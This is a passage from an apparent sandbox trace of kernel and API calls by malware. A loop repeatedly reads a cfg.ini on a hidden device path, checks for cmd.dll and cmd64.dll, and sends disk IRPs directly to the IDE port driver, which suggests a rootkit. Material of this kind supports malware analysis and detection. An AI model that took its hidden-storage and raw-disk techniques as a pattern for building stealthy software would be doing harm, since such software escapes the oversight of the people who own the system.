Context=0x0) returned 0x0 [0125.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.765] KeLeaveCriticalRegion () [0125.765] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.765] KeEnterCriticalRegion () [0125.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.765] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.765] IdePortDispatch () returned 0x103 [0125.765] KeWaitForMutexObject () returned 0x0 [0125.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.766] KeLeaveCriticalRegion () [0125.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.766] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.766] KeEnterCriticalRegion () [0125.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce2000 [0125.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.766] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.766] IdePortDispatch () returned 0x103 [0125.766] KeWaitForMutexObject () returned 0x0 [0125.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.766] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.766] IdePortDispatch () returned 0x103 [0125.766] KeWaitForMutexObject () returned 0x0 [0125.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.766] KeLeaveCriticalRegion () [0125.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.767] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.767] KeEnterCriticalRegion () [0125.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.767] KeLeaveCriticalRegion () [0125.767] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.767] KeEnterCriticalRegion () [0125.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.767] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.767] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003619dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.767] KeLeaveCriticalRegion () [0125.767] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.767] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.767] KeEnterCriticalRegion () [0125.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.767] ExFreePoolWithTag (P=0xfffffa8003bf9180, Tag=0x0) [0125.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.767] KeLeaveCriticalRegion () [0125.767] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.767] ReleaseMutex (hMutex=0xf0) returned 1 [0125.767] Sleep (dwMilliseconds=0x124f80) [0125.781] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.781] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.781] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.781] KeEnterCriticalRegion () [0125.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.781] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.781] IdePortDispatch () returned 0x103 [0125.781] KeWaitForMutexObject () returned 0x0 [0125.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.781] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.781] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.781] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.781] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.781] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.781] KeLeaveCriticalRegion () [0125.781] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.781] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.781] KeEnterCriticalRegion () [0125.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.781] KeLeaveCriticalRegion () [0125.781] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.781] KeEnterCriticalRegion () [0125.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.782] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.782] IdePortDispatch () returned 0x103 [0125.782] KeWaitForMutexObject () returned 0x0 [0125.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.782] KeLeaveCriticalRegion () [0125.782] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.782] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.782] KeEnterCriticalRegion () [0125.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce7000 [0125.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.782] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.782] IdePortDispatch () returned 0x103 [0125.782] KeWaitForMutexObject () returned 0x0 [0125.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.782] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.782] IdePortDispatch () returned 0x103 [0125.782] KeWaitForMutexObject () returned 0x0 [0125.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] KeLeaveCriticalRegion () [0125.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.783] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.783] KeEnterCriticalRegion () [0125.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] KeLeaveCriticalRegion () [0125.783] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.783] KeEnterCriticalRegion () [0125.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.783] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003619f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] KeLeaveCriticalRegion () [0125.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.783] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.783] KeEnterCriticalRegion () [0125.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.783] KeLeaveCriticalRegion () [0125.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.783] ReleaseMutex (hMutex=0xf0) returned 1 [0125.784] Sleep (dwMilliseconds=0x124f80) [0125.798] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.798] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.798] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.798] KeEnterCriticalRegion () [0125.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.798] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.798] IdePortDispatch () returned 0x103 [0125.798] KeWaitForMutexObject () returned 0x0 [0125.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.799] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa90 [0125.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.799] KeLeaveCriticalRegion () [0125.799] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.799] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.799] KeEnterCriticalRegion () [0125.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.799] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.799] KeLeaveCriticalRegion () [0125.799] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.799] KeEnterCriticalRegion () [0125.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.799] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.799] IdePortDispatch () returned 0x103 [0125.799] KeWaitForMutexObject () returned 0x0 [0125.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.799] KeLeaveCriticalRegion () [0125.799] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.799] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.799] KeEnterCriticalRegion () [0125.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cec000 [0125.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.799] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.799] IdePortDispatch () returned 0x103 [0125.800] KeWaitForMutexObject () returned 0x0 [0125.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.800] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.800] IdePortDispatch () returned 0x103 [0125.800] KeWaitForMutexObject () returned 0x0 [0125.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.800] KeLeaveCriticalRegion () [0125.800] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.800] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.801] KeEnterCriticalRegion () [0125.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] KeLeaveCriticalRegion () [0125.801] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.801] KeEnterCriticalRegion () [0125.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfab50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] KeLeaveCriticalRegion () [0125.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.801] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.801] KeEnterCriticalRegion () [0125.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] ExFreePoolWithTag (P=0xfffffa8003bfaa90, Tag=0x0) [0125.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.801] KeLeaveCriticalRegion () [0125.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.801] ReleaseMutex (hMutex=0xf0) returned 1 [0125.801] Sleep (dwMilliseconds=0x124f80) [0125.815] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.815] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.815] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.815] KeEnterCriticalRegion () [0125.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.815] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.815] IdePortDispatch () returned 0x103 [0125.815] KeWaitForMutexObject () returned 0x0 [0125.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.815] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.815] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.815] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.815] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.815] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9180 [0125.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.815] KeLeaveCriticalRegion () [0125.815] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.815] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.815] KeEnterCriticalRegion () [0125.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.815] KeLeaveCriticalRegion () [0125.815] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.815] KeEnterCriticalRegion () [0125.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.816] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.816] IdePortDispatch () returned 0x103 [0125.816] KeWaitForMutexObject () returned 0x0 [0125.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.816] KeLeaveCriticalRegion () [0125.816] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.816] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.816] KeEnterCriticalRegion () [0125.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf1000 [0125.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.816] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.816] IdePortDispatch () returned 0x103 [0125.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 